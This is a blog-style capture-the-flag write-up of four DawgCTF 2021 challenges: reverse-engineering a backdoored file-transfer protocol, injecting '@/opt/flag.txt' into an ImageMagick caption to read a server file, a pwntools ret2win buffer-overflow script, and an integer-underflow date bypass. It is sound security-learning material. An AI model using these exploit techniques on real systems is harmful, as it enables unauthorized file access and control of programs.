DawgCTF 2021
I competed in DawgCTF with the Hack South CTF team on 8 May 2021. This is an 24-hour, entry-level CTF hosted by University of Maryland, Baltimore County’s CyberDawgs. We ended up placing 28th overall.
Here are the write-ups for the four challenges I solved.
1. NSTFTP Reversing Challenge
Hey, I know it’s 6pm on Friday, but we have a quick request for you. The original author of this software was known to insert backdoors. We need you to find and trigger any backdoors in this software. Oh, and we lost our copy of the client. Hopefully this old pcap the network admin had laying around will be enough. It’s a pcap of someone connecting to the server and downloading files. You might be able to find the original binaries on that server somewhere. nstftp://umbccd.io:4300/ Author: chainsaw10
Process
On first inspection of the packet capture in Wireshark, I could see the client connecting to a server, receive a list of files, request a file and receiving the contents. The Blue parts in the screenshot are sent by the server, and the Red parts are sent by the client.
ASCII misses details because many characters are unprintable. The HEX view of the conversation shows every byte:
To solve this challenge, I most likely need to reverse engineer the protocol and create my own client to send requests to the server. This requires some guessing/assumptions and testing.
Reversing the protocol
Assumption 1 The first byte of each message looks like it could be a message type.
Value | Message Type |
---|---|
0x01 | Server Banner |
0x02 | Client Identifier |
0x03 | Directory Listing Request |
0x04 | Directory Listing Response |
0x05 | File Contents Request |
0x06 | File Contents Response |
Assumption 2 The second byte of each message looks like a total message length.
Assumption 3 After the byte containing the message size, there are 7 null bytes in all the sample messages. There is no way to know what this area is for. I just assumed they must always be null for now.
Assumption 4 Right after the 7 null bytes, there is a single byte containing the size of the rest of the message.
Putting it all together
Now that I thought I understand the protocol, it was finally time to write a client 😀. The send_message
function takes the type and message and sends it to the server. Running below shows the server banner and the list of files.
Note that this quick and dirty code does not validate response lengths or clean unprintable bytes.
from pwn import *
def send_message(t, msg_type, message):
size = len(message)
buf = bytes([msg_type, size + 10])
buf += b'\0' * 7
buf += bytes([size])
buf += message
t.send(buf)
t = remote('umbccd.io', 4300)
res = t.recvuntil(b'NSTFTPv0.1')
print(res.decode())
send_message(t, 2, b'NSTFTP-client-go-dawgs')
send_message(t, 3, b'.')
res = t.recvuntil(b'\x0a' + b'\0' * 8)
print(res.decode())
There is a binary file called nsftp
which is probably the application itself. Below code downloads the file. Again, I could verify lengths but who has time for that? I just assumed the whole file has downloaded once the server stops sending data for 2 seconds. I ran it twice and compared file hashes just in case.
send_message(t, 5, b'nstftp')
resp = t.recv(timeout=2)
with open('nsftp', 'wb') as f:
# Ignore the first 17 preamble bytes
f.write(resp[17:])
# Receive until the server stops responding for 2s
while len(resp) > 0:
resp = t.recv(timeout=2)
f.write(resp)
Reversing the NSTFTP service
I fired op Ghidra and loaded the binary. Symbols were stripped 😪… This meant original function names were lost, and more will is required to understand program flow.
After searching around for a while and adding names to functions and variables, I found some code that reads the FLAG
environment variable and likely sends it to the caller. It was under a number of if
statements which means I will likely need to align various pieces of application state to get the flag.
I named this function get_flag_probably
and checked where it is called from. There is a big switch
statement calling code based on specific numbers. Values 0x03
and 0x05
look the same as the message types from before, so I can try to send 0x09
as the message type to get to the get_flag_probably
function!
To test this theory, I ran the service locally and sent a request with message type 0x09
. The standard output logs showed error code 42
.
➜ NSTFTPwn ./nstftp
Listening on 0.0.0.0:1337
Accepted connection from 127.0.0.1:35714
Forked child pid 486626
[486626]: Talking to NSTFTP-client-go-dawgs
[486626]: Error disconnect, code 42
# Attempt 1
send_message(t, 9, b'Hi there!')
# Attempt 2
send_message(t, 9, b'UMBCDAWG')
Condition 1
One of the conditions showed that a value being compared to UMBCDAWG
, so I used this text for the second attempt and saw a different error code 43
.
Accepted connection from 127.0.0.1:35718
Forked child pid 487191
[487191]: Talking to NSTFTP-client-go-dawgs
[487191]: Error disconnect, code 43
I could see that error 43
was one step closer. There were two more conditions to satisfy to get to the code reading the flag value…
Condition 2
The second condition checks that some memory address’ value is larger than 9.
if (9 < DAT_001060b0) {
Ghidra has great feature to find all references to a specified address. I used this to find other places using DAT_001060b0
. The first two instances just read the value at that address and the third one was adding 0x01
.
It looked like the +1 happened every time the client requested something from the server. I repeated my request for the directory listing 9 times and saw a new error being logged by the local service, code 213
. My code now looked like this:
t = remote('127.0.0.1', 1337)
res = t.recvuntil(b'NSTFTPv0.1')
send_message(t, 2, b'NSTFTP-client-go-dawgs')
for _ in range(9):
send_message(t, 3, b'.')
send_message(t, 9, b'UMBCDAWG')
Condition 3
It took some time to figure out what the final condition was checking… It turned out that it was adding 4
to the sum of ordinal values from the provided client, “NSTFTP-client-go-dawgs”. The sum was only retaining one byte and ignoring overflow.
I needed to provide a value that would make that final value equal 0x80
. It seemed that providing a client name of |
would do the trick!`
>> chr(0x80 - 4)
'|'
It was not to be 😥… Using the pipe character for the client name just resulted in an error code 3
.
Solution
I suspected the length or some part of the client name was being validated and started playing with characters to get to a final sum of 0x80
by changing the last part. The value that worked was NSTFTP-client-go-dLWGs
. It finally passed all the conditions and returned the flag to my custom client! 😀
Final code solution:
#!/usr/bin/env python3
from pwn import *
def send_message(t, msg_type, message):
size = len(message)
buf = bytes([msg_type, size + 10])
buf += b'\0' * 7
buf += bytes([size])
buf += message
t.send(buf)
t = remote('umbccd.io', 4300)
res = t.recvuntil(b'NSTFTPv0.1')
send_message(t, 2, b'NSTFTP-client-go-dLWGs')
for _ in range(9):
send_message(t, 3, b'.')
send_message(t, 9, b'UMBCDAWG')
res = t.recv(timeout=2)
while len(res) > 0:
print(res)
res = t.recv(timeout=2)
2. MDL Considered Harmful PWN Challenge
There’s a bot named MDLChef in the Discord. You need to DM it, it doesn’t respond in the server. On its host machine, there’s a file at /opt/flag.txt - it contains the flag. Go get it. Note: This is NOT an OSINT challenge. The source code really isn’t available. Good luck. Author: nb
Process
The bot on Discord advertises three commands. Below shows the bot response when running each of them.
/help
This bot generates memes using MDL, the Meme Description Language. Here is an example of a valid MDL sample:
{ version: "MDL/1.1", type: "meme", base: { format: "Meme.Matrix.WhatIfIToldYou" }, caption: { topText: "what if i told you", bottomText: "you can code your memes" } }
Just send a valid MDL snippet in the DM and the bot will automatically recognize it and respond.
/listmemes
Listing available memes…
Meme.DrakeYesNo Meme.Legacy.BadLuckBrian Meme.Matrix.RedPillBluePill Meme.Spongebob.BarnacleBoySulphurVision Meme.Matrix.WhatIfIToldYou Meme.Schwarzenegger.EpicHandshake Meme.UtopianWorld
/credits
Thank you to…
- The Rust programming language
- The Serenity Discord library
- The ImageMagick caption command for meme generation
Note: The source code for this bot is NOT publicly available, due to the CyberDawgs’ extreme anti-open-source and pro-proprietary stance. We don’t NEED public auditing. All of the code in this bot is totally and completely secure.
Solution
This last message hints at a likely issue or escape for the ImageMagick caption command.
I read the ImageMagick documentation on caption
and found text can be included from files using @
. A few minutes of experimenting later, the following MDL printed the flag on the generated image:
{
version: "MDL/1.1",
type: "meme",
base: {
format: "Meme.Matrix.WhatIfIToldYou"
},
caption: {
topText: "what if i told you",
bottomText: "@/opt/flag.txt"
}
}
3. Bofit PWN Challenge
Bofit was a simple ret2win challenge with a slight twist.
Because Bop It is copyrighted, apparently
nc umbccd.io 4100
Author: trashcanna
Process
Run checksec to see architecture and security measures on binary.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Open the binary with GDB and run info func
to see function addresses. There is a function called win_game
which I probably need to jump to to get the flag.
0x0000000000401256 win_game
0x00000000004012a9 play_game
0x000000000040141a welcome
0x00000000004014b6 main
The application requests a random input of one character or a string where the buffer overflow occurs. To solve it, automate the character inputs until the overflow option becomes available. This happens on the Shout it
prompt. Then send an overflow payload to set the return address to the win_game
address. Once the current function completes, it will return to that function and get the flag.
from pwn import *
elf = ELF('./bofit')
def run_until_bof(t):
while True:
l = t.readline()
if b'BOF it' in l:
t.sendline(b'B')
elif b'Pull it' in l:
t.sendline(b'P')
elif b'Twist it' in l:
t.sendline(b'T')
elif b'Shout it' in l:
break
t = remote('umbccd.io', 4100)
t.recvuntil(b'start!\n')
t.sendline(b'B')
run_until_bof(t)
# 'haaaaaaa' found by sending a large pattern and trapping the error in GDB
offset = cyclic_find(b'haaaaaaa', n=8)
buf = offset * b'A' + p64(elf.symbols['win_game'])
t.sendline(buf)
t.recvline()
t.sendline('A')
t.interactive()
Running this gets the flag from the server.
➜ Bofit ./exploit.py
[+] Opening connection to umbccd.io on port 4100: Done
[*] Switching to interactive mode
DawgCTF{n3w_h1gh_sc0r3!!}
[*] Got EOF while reading in interactive
4. Back to the Lab 2 PWN Challenge
We installed this new HVAC system in the lab using NI instrumentation. Ooh, it’s internet-connected. Can you get the flag off of it? It requires “company technician access” but we managed to convince the company to give us some old source code, maybe you can find a workaround? nc umbcsad.crabdance.com 8000 back_to_the_lab_2.vi: https://drive.google.com/file/d/1Bu7xpMiGCEPONd7Hdl6BQL6JXqrFWE6i/view?usp=sharing Author: nb
Process
Open the vi file in LabVIEW Community. It shows a few interesting things:
- A TCP service accepting connections and then taking commands from the client.
- A
get_flag
command which only be run by a privileged user -or- when the system date is after 2030 👀 - A
set_system_time
command to set the system date.
Attempts to set the system time to large value gets blocked. Setting the system time to -1
works, and results in an underflow which sets the date to 2040.
Now the get_flag
command returns the flag.
ncat umbcsad.crabdance.com 8000
Welcome. Type ? for help.
DAWG> set_system_time -1
Done. New system time is: "01:28 AM Mon, Feb 06, 2040"
DAWG> get_flag
DawgCTF{t1m3_b3ck0n1ng_m3}
DAWG>